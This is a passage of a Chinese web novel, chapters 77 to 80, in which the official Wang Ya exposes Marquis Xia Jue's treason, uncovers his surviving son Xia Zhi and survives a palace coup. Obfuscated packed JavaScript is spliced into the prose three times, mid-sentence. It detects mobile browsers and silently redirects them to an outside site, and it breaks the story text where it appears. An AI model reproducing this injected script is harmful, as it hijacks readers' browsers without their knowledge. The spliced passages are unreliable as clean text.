许策呈上诉状,附带其父亲许伯诚留下的证词和证物,掷地有声:“民女许策,状告西亭侯夏珏,泄露行军线路,勾结北栖奸细,致使沈威将军在归平关被围,后贻误军机,致使沈军覆没。却上表称因家父许伯诚的连弩尚未完善,胜算渺茫,才迟迟没有出兵,然,家父所造连弩,早在沈威将军出征前就已经造了一批,总计二百六十七支。” 兵部的卷宗上记录,夏珏在北栖挑起战争之前确实给军器所呈了一副连□□,当时军器所也批准铸造了。而这个时间同许策所说的吻合,也就是说,夏珏是在造了一批连弩后才上报的军器所。倘若军器所批下来了,那他手头上已经拥有的连弩是符合章程的,并且没有记录在册,兵部不知道这批军器的存在,他私有了一批军器。 而在后面的战事中,夏珏所使用的连弩,是军器所提供的。 “所以,夏珏手里还有二百六十七支连弩。” 张行简翻开兵部的卷宗,顿时心里就凉了半截。 77.马 清晨里起了一阵浓雾,稍微站远些就分不清是人是畜。 望涯正在同一匹马对视。 这是从夏府抄出来的,和它一起的还有另外十七匹,夏府里光是马厩,就抵得过八个望宅。 根据谭八所说,夏珏每回出发天怡苑都乘坐同一辆车,上头雕着金色云纹,竹棚顶,装紫竹细门帘,掀开后还能看见里头铺着百花毯。这样的车统共有两辆,乍一看没有任何区别。 纪新看看马,又看看望涯,然后问:“你们认识?” 望涯叹出一口气,转头问他:“员外郎有何贵干?” 纪新看看四下,确认没有耳朵后才道:“今日朝上,你被参了一本。” 望涯往食槽里倒了些粗料,转而又到了马车前,俯下身仔细查看。骂她这事儿并不稀奇,从她踏进宫门前就开始了,不过一般都是骂张行简时顺带骂一骂她,现在居然已经有人单独参她了,也算是好事。 “说你是酷吏,草芥人命,对夏府的老管事刑讯逼供,把人活活打死了。”纪新跟在望涯身后,见她蹲下身来,开始盯着车轮。 “然后呢?”在老主事断气的那一刹那,望涯就知道会有这一茬,因此并不意外,这也说明,他们抓不到自己的其他把柄,只能看到自己愿意给他们看的。 “着御史核查。” “你往旁让让,挡着光了。”望涯的目光停留在车轮上,接着换个方位继续查看,半晌后忽然起身,往另一辆车走去,就这么来来回回,先查看它们左边的车轮,再看看右边的车轮。 纪新略微侧身,继续问:“你就没有什么感悟吗?” “有。”她终于起身,朝纪新招招手:“过来看,这辆暂且称之为一车,那辆则为二车,两车长得很像,账本上的出处也相同,怪就怪在,它们购入的时间并不短,也有人证说明夏珏曾经使用过,可仔细看,车轮上没有任何痕迹。” “换车轮了?” “没错,看这儿,一车轮毂同车轴衔接的地方有磨损,二车则没有。” “哦——常用一车,那二车是用来迷惑视线的?” 望涯摇头:“不知道,这说不通。为何要迷惑视线,直接烧了不是更简单?” 夏珏每每出行天怡苑用的都是这样的马车,其余时间更多是用其他样式,这是为何,是在给什么人传递消息吗?可这样的车舆并不少见,连张行简宅子里都备着差不多的,要说特别之处,除了已经死掉的车夫,那就是它是从夏珏府里驶出去的。 用完后回到府里,要换上新的车轮,伪装成崭新的模样,这是什么意思,街面上那么多人见过了,他这么做究竟有什么用。 而老管家在夏府被查抄之前就将车夫杀的杀埋的埋,清理得一干二净,既然如此,为什么还要留着可疑的车舆? 纪新也回答不上来,一旁的望涯忽然问:“你还有其他事情么?” “没了,我就是路过,想着顺便知会你一声。”纪新总算想起来自己的正事了,于是同望涯道别。 望涯目送走纪新,决定暂时放下车舆的事情,想不明白就不想了,谁能猜得透夏珏的想法。于是招来马夫,她得先溜溜他的马。 没人知道天怡苑在哪儿,可马儿识途,它们一定知道,只是数目有些庞大,需得费些心力。 马夫不知道为何要这样做,可也只能乖乖听话。将同一车舆套在不同的马上,再遮住马的视线,看它往哪儿走,倘若望涯摇头,那就得换下一匹马。 ———— 实际上望涯并没有挨多少骂,因为赵俨发话,让沈泰带兵去跟北栖打架。 此话一出,他们就顾不上望涯了。两党相争,最终竟被‘渔翁’夺走,他们当然不乐意,于是罕见的站在了同一边,齐刷刷的开始劝赵俨。 然而赵俨不听,他说昨日梦见已经成仙的先皇凌驾于泰山之上,广袖一挥,北栖就灭国了。如今朝中有什么泰山呢?思来想去,刚好有一个沈泰啊!这一定是神仙的旨意,神仙下凡,降临沈府,赐沈泰神力,可以灭北栖。 此乃天意。 众爱卿反对,意思是先皇不对?还是神仙不对? …… “沈泰一把老骨头了,能不能走出京城都未可知,还出征?呵!” 夏党对于赵俨的这一举动实在是不解,就算是把庆王从地牢里提溜出来,也比半截入黄土的沈泰要强得多,到时候走两步闪着腰摔死了,怎么算?算战死的,然后拿税收给他风光大葬? 这不是糊涂吗! “哼,瞧着罢……”身旁的人忽然用手推了推他,示意他看看打远处来的身影。 此时望涯路过,她虽不认识他们,更不知道他们是哪门哪派,腿往哪个方位伸,只是方才他们的谈话顺风飘进了她的耳朵里,字里行间透漏出来的,不是庆王党,就是夏珏党,左右都不是好东西。 这样想着,却还是规规矩矩给他们行了礼,正要离开,却听其中一位开口呵斥道:“站住。” 望涯一脸惊诧,又听另一位道:“要说你无父无母没有人教养也就罢了,可你不是有位老师在么?他也不知礼数,不会教学生吗?” “还请二位大人明示,下官愚钝,不知错在哪里。”望涯悟了,眼下比起庆王党,夏党要更着急些,就差‘跳墙’了,因此,眼前这两尊活牌位,八成是夏珏的孝子贤孙。 “呵,不知错在哪?相鼠有皮,人而无仪。” 望涯思来想去,忽然间就明白他们生气的缘由了。按礼来说,下级遇见上级,当急趋而揖逊,望涯确实也这么做了,她礼数周全,不周全的缘由在于,她是望涯,是卑鄙小人张行简教导出来的小卑鄙小人,还同夏珏有些纠葛,更惨的是,她是朝廷‘乌烟瘴气’的开端。 “原来如此,大人教训得是。”望涯只能认栽,她还有更紧要的事情得办,并不想在这方面浪费口舌,也不能再生事端,叫夏党抓住把柄,然后抽张行简一耳光,趁机又把夏珏捞出来。 然而他们却没有到此为止的意思:“若真明白,就褪了这身官袍,回去卖书罢!此是朝廷,不是鼠洞……” “大人竟也明白此间是朝廷!下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234292|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官还以为大人是老眼昏花,分不清方位,也不识人相,才会认贼作父……”她忍不了了,张行简有难又如何,只要赵俨这位神仙还没修成,夏珏就一定翻不了身。 “你!?竖子,竖子!” 望涯连忙低头,一副认错的模样,心情却十分畅快,暗道:老驴气急败坏,要尥蹶子了。 果然,他开始跳脚,望涯只能痛苦地闭上眼,担心自己笑出声来,再活活把他气死。 “你给我等着!”二人留下这句话后就愤愤离去,再不走,眼前这条小狗是真会咬人的。 望涯恭恭敬敬送走了他们,接着正正腰上的牌子,往外走去。 夏府外的拴马石上拴着马,也已经套好车舆。这是望涯从十七匹马里头筛出来的两匹,靠它们或许能够找到天怡苑。 望涯换了身衣裳,看起来俨然像个车夫了,行的也是车夫的事。她先蒙上它们的眼睛,接着上车,拉了拉缰绳,示意马匹可以走了。马匹看不见,正在犹豫,缰绳又被人拉动,像是在催促它们做出选择,很快,它们凭借记忆行路。 一段距离后,望涯拉紧缰绳,马匹停下。 望涯了然,接着调转方向,回大理寺了。 大致路线她已经摸清,只是路线的终点是不是天怡苑还有待查证,她不能光明正大闯过去,谁知道那是不是夏珏留下的陷阱,引她伸长脖子,然后放下铡刀。 …… 许策呈上的除了许伯诚的证词外,另有一份由北栖发来的信封,里头保存着曾经封上盖的火漆,火漆印着的正是北栖主部族的图腾,里头的信纸早已不见。除此之外,还有一张条子,上头明晃晃写着夏治的姓名,他是夏珏的大儿子,同样死在了归平关。 条子是袁记工坊出了二百六十七支连弩的凭证,这批军器,是夏珏的大郎查收的,夏珏不可能不知情,除非他丧心病狂,把罪名推到自己儿子头上。 归平关的事情捋清楚了,张行简整理了许策父女的证词,并加上推断,接着越过文言,直接将卷宗交到了赵俨的手上。 赵俨翻看着长长的卷宗,脸色阴沉得像丹炉底下的灰,赵宇也在一旁查看证物,证据确凿,夏珏真是罄竹难书。 “冯辉的案子呢?”赵俨问,韩娘子已经清白,可冯辉通敌叛国的案子还没有声响。赵俨不喜欢冯辉,也根本不想替他复核旧案,倘若张行简聪明一些,就该把这桩旧案按下,让冯辉老老实实躺在地底。 “还在查。”实际上,冯学士的案子张行简还没开始查,并不是因为没有头绪,而是想留一个人情,至于是谁领,答案显而易见。 “你和王驰,协同兵部刑部,梳理案宗,着手判决。之后,再重审庆王的案子。” 赵俨的意思的是,赵邕可以放出来了,毕竟沈泰确实年迈,该早做打算,他要是死在半道上了,还能有个赵邕替补。 与此同时,邓昔正在来京的路上,此时京城里的风云,正适合给冯学士平反,也便于邓氏露脸。 来之前他曾书信望涯,询问在这个关头应不应该行事,可那头迟迟没有回音。 78.夏治 望涯将信纸点燃,眼见它烧成灰烬,这才拍拍手,披上斗篷出门去了。 信是邓昔写的,他询问是否能在此时进京替冯辉平反,可望涯也回答不上来。赵俨厌恶冯辉,并不全是因为韩娘子,或者根本就同韩娘子无关,他只是纯粹的厌恶冯辉,因此是不乐意看见冯辉昭雪的,可迫于压力,不得不下令让张行简复核旧案。 例如张行简,审时度势,他也知道赵俨的心思,因此并不会主动提及冯辉案,如果时间拖得够久,等夏珏死后,风波就真正过去了,谁也不会再想起曾经的冯辉。对他来说,这无疑是最有利的,讨得圣上欢心,又有一笔不小的功绩。 对于冯辉却不公平。 所以望涯不作回答,邓氏一心想回京,想来不会放过这个露脸的机会,也必定会借冯辉的案子做文章,让世人看到邓氏一族的‘忠贞’。 有了邓氏施压,冯辉的案子要复核并不困难,张行简也只能半推半就,拿邓氏当盾牌行事,顺路再卖邓氏一个人情。倘若赵俨态度明确,张行简也能拒了邓氏,卖给赵俨一张好脸,左右都不亏。 至于邓氏,既然想要利用冯辉的冤情做文章,也该做好失败的准备。 而这一盘棋局,同望涯没关系,自始至终她想要的,就只有一个。 明月高悬。 “今日她在侯府门前,看来是想要让马带路,可走到一半便又折返。” 灯火前的人面目可怖,还瞎了一只眼,而其怨气则聚集在了剩下的眼珠子里,叫人不敢多看。 夏治攥了攥手心:“也罢,她再怎么查,也是徒劳。” 天怡苑里已经空荡荡,里头培养的鹰犬早已散落在各处,他们如何给夏珏定罪已经无关紧要,老东西死也就死了。跟很多年前一样,夏珏为了抢夺军功不惜卖他去死,而夏治也可以,为了自己将成的大业丢弃夏珏。 他们血脉相连,连蛇蝎的心肠都一脉相承。 夏治从乱葬岗里爬出来后找到夏珏,将剑抵在他的后背上,只需要轻轻一推,他就能犯下弑父的罪名,然而他想到了更好的法子。 “爹,你不是想要天下吗?儿子替你实现吧,只要你乖乖听话,儿子就能让江山改姓夏。” 夏治的眼眶不断往外冒出鲜血,甚至沾湿衣领。 于是,归平关的沈威兵败,夏氏立下赫赫战功,回京后封侯,修了天怡苑,后来开了醉春风。夏氏连同北栖,将势力一点点渗透,从朝廷到街面,无处不在,无孔不入。 “大郎,有客上门。” 望涯的身手算不上高明,她甚至没有办法窥见天怡苑内景,只得遥遥的看着厚重的大门。 不对。 她后退两步,沈定西总是来得很及时,她将望涯拉上马背,下一刻耳边呼啸而过一支箭矢,接着越来越多。 “夏治,夏治还活着!” 沈定西道:“谁?” “夏珏的儿子!” “我不认识他。” “我知道!先回大理寺。” …… 沈定西翻身下马,接着抬手接应望涯,二人一道往张行简的屋子走去,望涯还不忘询问:“沈姐姐真是神机妙算,你怎么知道我在那儿?” 沈定西一时无语,从衣袖里拿出望涯交给阿彤的字条,上头写着路线,角落里还画了一个泪眼汪汪的娃娃。 “哈!我竟忘了这回事。” 望涯接过字条,又听沈定西道:“我没有抓到活口。” “我知道。” 望涯走在前头,继续道:“没关系。” 张行简前脚刚从刑部回来,后脚望涯就找上门来了,仍是那样的作风,开口就是一声惊雷:“夏治还活着,天怡苑就是他的。” “你怎么知道?” 当年北栖除了归平关,另外进攻了一处名为患谷的地方,而夏治率军将其击退,却在撤离时遭遇埋伏,死在那儿了。后来夏珏回京,夏治确实风光大葬,可葬的是衣冠冢,尸首据说留在了患谷,原因是当时夏珏一心驰援沈威,便顾不上自己的亲儿子了。 可望涯当日查抄夏府,甚至没有发现夏治的灵位,因为夏治极少被人提起,因此当时她也没有发现不妥。 现在想来,夏珏这么多年来藏得很好,有人盯着他,却只看到了醉春风,甚至连赵俨都只看到了他‘功高盖主’,而没从中窥见北栖的身影,因为从始至终,夏珏,都是负责挡风的那个。 于是,张行简授权,叫望涯带人查抄天怡苑。 可蛇已经受惊,连蜕下的蛇皮都没有留下。 天光微亮,望涯四处逛着。 天怡苑是处很大的园林,有碧绿的湖,漂亮的水榭,可惜杂草丛生,连神龛上都落了灰尘,想来他们早就谋划好了一切。 …… 夏珏已经被定罪。 张行简也不必再装君子:“拷起来。” 一阵铁锁的声音后,张行简抬眼看向夏珏,果真是靠衣装,一身绸缎扒下来后底下丑恶皮囊终于显现,同以前那位‘慈眉善目’的侯爷八竿子打不着了,他甚至不想多看一眼。 “当年张仁昌还曾带你来拜会过我。” 夏珏忽然开始想当年了,那时候张仁昌刚娶了霍颖,张行简还不及他的大腿,那么小一个人,如今竟也能在他面前显官威了。 “本官提你出来并不是想说闲话。关于夏治,你有什么想说的吗?” 夏珏微怔,随即发笑,笑得快要喘不上来气。张行简抬手,长鞭就甩到了夏珏身上,狱卒又要打,张行简却示意停止。 笑声戛然而止,夏珏低着头,沙哑着声音道:“早知如此,在他生下来的那一刻,就该把他溺毙。” 这或许是夏珏这辈子最后悔的事情。 所以夏治确实还活着,夏珏也知情,并且父子不和。 “其实现在也不晚,你想指认他吗?我可以让他死在你前面。” 在这方面,张行简一向言而有信。 夏珏猛然咳出一口黑血,接着长长地呼出一口浊气,笑道:“不,他是我儿啊。” 鞭子再次落下,夏珏怒吼一声:“张行简!你会后悔的。” 张行简转身,书吏记下一行:公然抗拒。 不多时,他再次抬手示意,眼见夏珏快要熬不住,便将卷宗递给他,让人控住他的手在上头按下手印,叫他认下过往的一切罪名,从胡盼儿开始,到徐淑,再到韩娘子,最后回溯到沈威,期间还堆砌着累累白骨。 这是过去的账。 现在,该清算将来的了。 夏珏忽然没了动静,紧接着一盆冷水将他泼醒。 后续无论张行简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234293|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问些什么,夏珏都保持沉默,直到第三顿鞭打即将开始,他才狰笑着说:“没猜错的话,你的学生还在为夏治奔波。说实话,她很聪明,可过早窥见天机的人……” 夏珏缓缓抬头,笑道:“短命。” “这个说法倒是没有听说过,不过我可以确信,你一定会死在她前面。” 事实上,聪明的望涯正在睡觉。 夏治的气候已成,她如今再追查也是徒劳,领多少俸禄做多少事。她不过是一个小小司直,难不成还指望她给赵俨当御前侍卫吗? 该做的她都做完了,不亏欠不僭越,一切都很好。 而她还有最后一件事情要做,在此之前需要养精蓄锐。 “小望,快醒醒。” 石寺丞揭开望涯盖在脸上的书本,见望涯睁开眼睛,便道:“外头有人找。” 来人是沈定西。 “我来是想问,你还需不需要我?” 沈定西认真的问。 望涯恍然大悟,沈泰要出征了,沈定西自然不会放心让他自己去,必定会随行。临行前还来问望涯,有什么要她帮忙的赶紧说,她干完就要走了。 望涯摇头:“暂时不需要,你要随军?” “对。” 沈定西点头,随即解下腰间锦囊递给望涯:“那我需要你。许策一家需要你多加看顾,还有,马善工,别叫他活。” 沈定西平时不说话,一开口就语出惊人。 望涯接过锦囊,马善工所犯的罪行,一是抢夺他人功绩,通常所判羁管,或罚金,再者除名、夺职、降差遣,倘若涉及刑事,则要另算。二是囚禁,马善工撺掇县衙,将许策关押两年之久,可从章程上看,大抵会算县衙办事不利,错查了许策。 二则加起来,也是判不了死罪的。 “我尽量。” 沈定西又说:“阿彤我得带走,你若是有用得上的,就到沈府去找,会有人听你差遣的。” “好。” 沈定西欲言又止,还想说些什么,却只留下一句:“保重。” 望涯一笑,朝沈定西敞开怀抱,使劲将她揽了揽:“你也是。” 沈定西的身影渐行渐远,她要奔赴北边的战场,而望涯,还得应对京城里的风波。 散衙后,她如约来到一所民宅前,抬手叩响门环。 不多时,许策来开门了。 “小望大人。” 许策正要行礼,却见望涯摆了摆手,又赶忙将她迎进屋。进屋就见到许策的女儿了,她显然很开心,也还记得望涯。 望涯朝她笑笑,此番来找许策,主要还是为了马善工的事情:“许娘子,关于马善工,恐怕还得劳烦你写份诉状,大理寺才好受理。” 许策却有些犹豫,倘若没有马善工,她或许早也死在夏珏手里了。 “诉状是一定要写的,就算你不写,我也会写。首先,他确确实实犯了条例,就算是你算计在先,那也是他亲自犯下的,你没有把刀架在他脖子上,胁迫他抢你的图纸,对不对?” 许策点点头。 “这就对了,其次,倘若今日放了他,明日他又抢了别人的图纸,这又当如何呢?” “也对,是我思虑不够周全。” “最后,就案情来说,并没有涉及到刑事。” 她的意思很明确了,马善工死不了。 79.判 夏珏着判除名、革除恩荫,近亲流放,以及,斩立决,交由太子监刑。 四周很安静,只有桌案上的烛火偶尔崩出几个火星。 “这些日子里,我一直在想,该用什么东西让你乖乖听话。” “钱财,还是官爵?” “大概都不能。” “后来看到张行简我就明白了。” “原来……” 夏珏已经不成人样了,双目却仍闪烁着异样的光芒:“你是张弃啊。” 望涯静静看着夏珏,很久以前她恨不能一口一口将他撕碎,后来冷静下来,试图寻找不是他的证据,毕竟在别人口中,他是个十全的好人。 可查得越深,她就越觉得恶心。 桌上放着两张图,一张是去年望涯因胡盼儿锒铛入狱时托纪新从县衙里拿出来的,上头拓着一副牙印,另一张要新一些,刚从夏珏嘴里取出来。 显然,就是夏珏。 “所以呢。” 望涯已经无所谓夏珏说的什么,她脑海里只规划着一件事,那就是如何叫夏珏死得不那么痛快。 “连这个你也不在乎吗?”夏珏目光微动,紧紧看着望涯,希望能从中找到一丝波澜。 望涯一笑:“在乎。所以呢,你要我怎么做,放了你?” 狱卒在外头百无聊赖,正打算伸伸胳膊腿儿,却见打远处行来一宫人。 “望司直在审犯人么?” 宫人问。 狱卒称是,宫人又催狱卒进去通报。 于是狱卒进去了,不多时,他就跟在望涯身后出来了。 宫人是赵宇的人,几天前,赵宇得知宫中可能藏有北栖细作,便立马着手调查,将符合条件的宫人都记录起来,却仍然有漏网之鱼,叫他不知该如何是好。 原本打算请教张行简,可他这几日不是同韩征议事,就是同皇城司议事,基本上看不到人影。 情急之下,就想到望涯了,于是换了便衣悄悄来到大理寺,他不能叫人看见自己明晃晃的‘勾结朝臣’,再惹赵俨生气,尤其是在赵邕快要被赦免的情况下。 “殿下。” 望涯行了礼,她知道赵宇想问什么,而她的回答是,先将已知的逐出宫去,余下的如同大海捞针,想要揪出来很难,不如睁一只眼闭一只眼,等他们自己浮出水面。 当然,她不能这么对赵宇说,于是出了个听起来像那么回事的计划,原本是想把他糊弄过去,没成想,被他看穿了。 “望司直,你是认真的吗?” “微臣不敢欺瞒殿下。” 望涯赶忙认错,话音未落,忽听外面一阵嘈杂,静静听着,竟是有人喊:走水了。 赵宇正要出门查看,走出两步后发觉望涯没有动作,于是回头,见她神色如常,顿时就明白了。 大理寺狱烧了很大的一场火,望涯算是真正体会到了什么叫‘过得水深火热’,成天里不是这里走水就是那里放火,并且,有人来报,夏珏不见了。 …… “陛下!” “护驾,快护驾!” 洪长风的声音划破天际,却很快被呼啸而过的箭矢埋没,禁军倾巢而出,一时之间场面混乱无比。 夏珏突破宫门,与此同时,各处埋伏在后宫的鹰爪也伺机而动。 黎青手握匕首,将刀刃直逼皇后心口。 血迹喷溅,浸透了梅花窗上的纱纸,甚至熄灭了一排蜡烛。 她在倒地的前一刻才发现,眼前的人,根本不是皇后。 夏珏披坚执锐,在禁军的拥护下一步步走向赵俨的寝宫,里头的洪长风浑身发软,走也走不动了,只能眼睁睁看着夏珏破门而入。 “夏珏!你个老贼!胆敢行刺圣驾!” 洪长风几乎费劲了所有力气嘶吼,仿佛这样就能将眼前的猩红着双眼的夏珏斥退,如同小时候骂走田间的野狗一样。 可夏珏已然杀红了眼,正要杀了洪长风,却忽然被划过的箭矢射下了一只耳朵。 他有些不可置信,回头却见殿外局势骤然逆转。 夏珏的兵马,竟纷纷调转刀刃,将其对准了自己,而号令他们的,正是他的好儿子夏治。 夏治身着盔甲,挽弓,将箭矢对准了夏珏,笑道:“孩儿不孝,为救圣驾,不得不大义灭亲。” 皇宫里已经一团乱麻了,而大理寺同样无法幸免。 望涯正在同文言大眼瞪小眼,身旁缩着各色官吏,起初他们还曾试图唤醒文言的脑袋,叫他清醒清醒,然而说破头了也只是浪费力气,文言根本听不进去,反倒晃到望涯跟前。 “你说你,好好的非查什么夏珏,如今我是有心也保不住你了。夏侯爷点名要你的项上人头。” 文言面上痛心疾首起来,心里则盘算着望涯的脑袋能从夏珏手里换到几品的官位。 ‘咣当’一声,砚台砸向文言,然而文言闪得快,却免不了被溅了一身墨水,望涯眼疾手快,同一阵风一般吹了过去,将文言按在地上暴揍,几乎同时,禁军破门而入,确认屋里没有人血溅当场,这才有功夫安抚人心。 “诸位大人莫怕,已经在收网了。” 望涯收手,扶了扶脑袋上的官帽,接着侧身一让:“有劳。” 说实话,她想揍文言很久了,有多久呢?大概是从张渊被诬陷的案子开始的吧,那桩案子里死了一个外室,可他毫不在意。 文言被拎出去了。 余下官吏面面相觑,纷纷开始回忆往昔,却没能从中找到文言和望涯有仇怨的记忆。 远处传来厮杀声,听着像是后宫传来的。 赵宇在偏殿里如坐针毡,身旁的洪亥则死死守住大门,连苍蝇也不让进,不知过了多久,外头安静下来了。 “望司直呢?叫她来见我。” 太子发话,洪亥不得不提起胆子冲出门去,这才发现外头已经平安,原先叛变的禁军已经横尸,地板上淌着黑漆漆的血,在月光下散发出阵阵腥臭。 洪亥也顾不上干净的衣摆了,着急忙慌闯进屋内:“望司直,望司直,殿下传。” 于是望涯到了赵宇跟前。 先前狱里走水,加上夏珏越狱,紧接着禁军叛变,由文言带领着冲进大理寺。说实在的,也好在有文言在,他虽然又蠢又坏,却因胆小不肯杀生,也见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235029|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得别人在他眼皮子底下开刀,大理寺上上下下才躲过一劫。 后来文言开始翻遍大理寺,将所有官吏聚集起来,望涯不得不自投罗网,否则就要殃及赵宇,她犯不起这个条例。 再后来,也就是眼下。 赵邕接管禁军,从外包围,逐步收网,将夏珏父子团团围住,再一网打尽。 “这是从什么时候开始谋划的?” 赵宇的脸色不怎么好看,护驾有功的是赵邕,生母恢复清誉的也是赵邕,而身为东宫太子的赵宇却从头到尾被蒙在鼓里,如果他今日不来找望涯,是不是就会被夏珏杀死在东宫了? “倘若殿下问的是这场宫变,恐怕得审审夏珏父子,倘若殿下问的是其他,还请殿下恕罪,臣不知。” 望涯确实不知道张行简是什么时候将赵邕拉进来的,而在此之前的所有部署,如果赵宇不知情,那是他愚钝。 可就算她知道其中因果,也不能同赵宇说清楚,毕竟天子的家务事谁也不敢插手。 赵宇阴沉着脸,最终也只能作罢:“算了,你走罢。” 望涯再聪明,也不过是一个从六品的寄禄官,如何能够得知这样的事情呢。 望涯正要告退,又听赵宇问:“你会效忠于谁?” “微臣才疏学浅,所求不过是将所学报以黎民,因此,效忠的自然是天下百姓。” 赵宇默声,半晌后才听望涯说:“论语言,欲速则不达。” 赵宇太过心急,迫切的想要登着赵邕往上爬,却忽略了赵俨的看法。 …… 天光熹微。 听说夏珏还没死透,反倒是夏治死无全尸。 张行简仰天呼出一口气,他忽然很想念应颂今,再过七天就是中元节,他可以回去见见妻女,目光忽然瞥见远处的望涯,等她走近了才发现,她又揣了一挎包的肉饼。 望涯敞开挎包,转头打量四周,昨儿也不知道死了多少人,天一亮,竟就都打扫得干干净净,只有朱墙上的斑驳能推测出战况。 张行简自觉从中拿了张肉饼:“等你处理完夏珏,再陪石寺丞去一趟户部,找莫大人批修缮大理寺狱的银子。” “好。” 刚好她也很久没有拜见莫时了,顺道去他那儿躲躲清闲。 望涯先回到大理寺狱,昨儿火势烧得大,灭得也快,因此并没有损失太多,至少夏珏还是有地方住的。 她拿下挎包递给狱卒,接着委身进入地牢,又提了夏珏。 这是先前张行简在无为案里应允过的奖赏,如今望涯想好了,她要夏珏的一条手臂。 “你可真是命大。” 望涯倚着门框,脸上带笑,怀里还抱着一柄借来的长剑。 夏珏想说话,张张嘴却只能呕出源源不断的鲜血,他的舌头被张行简剜下,因为夏珏为了活命,竟还想着拿‘张弃’的事情作要挟,倘若他手头上还有权柄,或许这个要挟还能作数,可他没有,那么要挟就不是要挟,而是聒噪了。 望涯抽出剑刃,手起刀落,削下了他的一条手臂,接着仔细将其包裹起来,托狱卒拿到厨下用盐腌渍,别叫它坏了,这是给谭八的赔礼。 80.竹叶饮 夏珏的案子,单拎出来一桩,都是三朝以来的大案。 就算他死了,余下的少说还要再查上一年半载,除去夏氏一族,其牵连的党羽也足够朝廷各衙忙到年尾了,待到新年,就又是一种新局势,庆王同太子之争,沈氏重归朝野,边关动荡,内里恐怕也不得安宁。 望涯拢了拢耳边垂落的发丝,身前的桌案上铺着各色公文,一头要写醉春风的结案文书,一头又要理清从夏府搜刮出来的证物,再有许策的案子也攥在她的手里,以及当日宫变时大理寺的证词,这是张行简要的,他要把文言拉下马,最好能同夏珏一齐上路。 烛光闪烁,连带着望涯映在门窗上的人影也晃了几回,望涯将脑袋枕在椅背上,目光停留在上头的横梁上。 从前她一心只想弄死夏珏,如今实现了,往后的路却有些迷茫,赵宇有意拉拢自己,而自己同庆王之间有个韩娘子,想来也不会如从前一般拼个你死我活,至于最后倒向谁,实际上还得看张行简,毕竟明面上师生是一起的,望涯也还没有到真正掌握话语权的时候。 张行简或者其他人,要想捏死她轻而易举,她只能在洪流中一点点摸索,直到手中真正握有权柄。 …… 听寒收到了一封来自京城的信件,她一眼就认出了信封上的字迹,是徐淑的。 陪同信纸一起的,还有许多银子,上头覆着字条: 徐淑留。 字迹却与信件上的不同,想来应该是望涯。 信上写了很多,甚至连六岁那年,听寒趴在戏台边上,看着上头的状元郎入了神,一曲唱罢,两人一齐钻进幕布,拿糖人同那位‘状元郎’讨价还价,为的就是让听寒能够披一披那身红袍。 徐淑仗义执言,晓之以情动之以理,听寒则在她身后点头附和,时不时蹦出来一句:“对呀对呀。” 后来果真如愿,听寒披上了被褥一般大的红袍,笑起来能看见昨儿刚掉的门牙留下来的洞口,就算从里头灌进去冷风,她们也还是开心。 记忆犹新,故人却已逝。 听寒的手不觉颤抖,泪珠将信纸浸透,巨大的悲伤压弯她的脊梁,她无助的蜷缩在角落,再没人能听见她的哭喊。 与此同时,姜然封好最后一笔寄往京城的银子,自此,她和张渊就再也没有瓜葛了。 …… 上回是查证,这回是真正‘抄家’了。 这是项美差,自然是轮不到望涯的,她只是路过,在此之前找孔灼借了银子,她要赶在贺微回京之前将宅子修缮好,否则等她回来,又得操心。 夏府门前人头济济,同以往不同,他们不是来送礼的,而是来数数。 一箱,两箱,三箱…… 嚯!二十一箱金器。 望涯驻足看了会儿,忽然有人拍了拍她,回头一看,正是双儿。 “小望大人!” 望涯这才带着双儿离开人群:“这些日子过得如何?” “很好,事情也办妥了,就等日子到。” 双儿办事伶俐有胆识,更是因有望涯这个‘倚仗’,浑身透露着一股莫名其妙的‘霸气’,跟初见时的模样大相径庭,当时望涯还当她是个乖巧文静的孩子。 “明日我休沐,正好到书院瞧瞧。” 双儿点头,又问:“大人的差事办完了?何时能带上双儿呢?” 望涯一怔,这才回想起先前的话来:“差事是办不完的,我会尽快安排好你的户籍。” 至于带着双儿,她还有些犹豫,双儿是被亲爹卖进醉春风的,再送回去无疑会被卖第二回,可将她带在身边,望涯看着她又每每想起盼儿,这于盼儿或是双儿都不公平,除此之外,却是没有更好的去处了。 “双儿,你想不想习武?” 双儿把头摇得像拨浪鼓,她知道望涯这是不想要她了,想把自己塞给姓沈的小娘子:“大人若是觉得麻烦,双儿也能自力更生,日后大人要是有需要我的地方,我也一定做,不会给您添麻烦的!” 望涯不再说话,抬手摸了摸她的脑袋,终是道:“等宅子修好。” “真的吗?” 双儿抬头,小心翼翼揪住望涯的衣角。 “嗯。” 双儿走后,望涯买了香烛纸钱,回到了城郊的宅子。 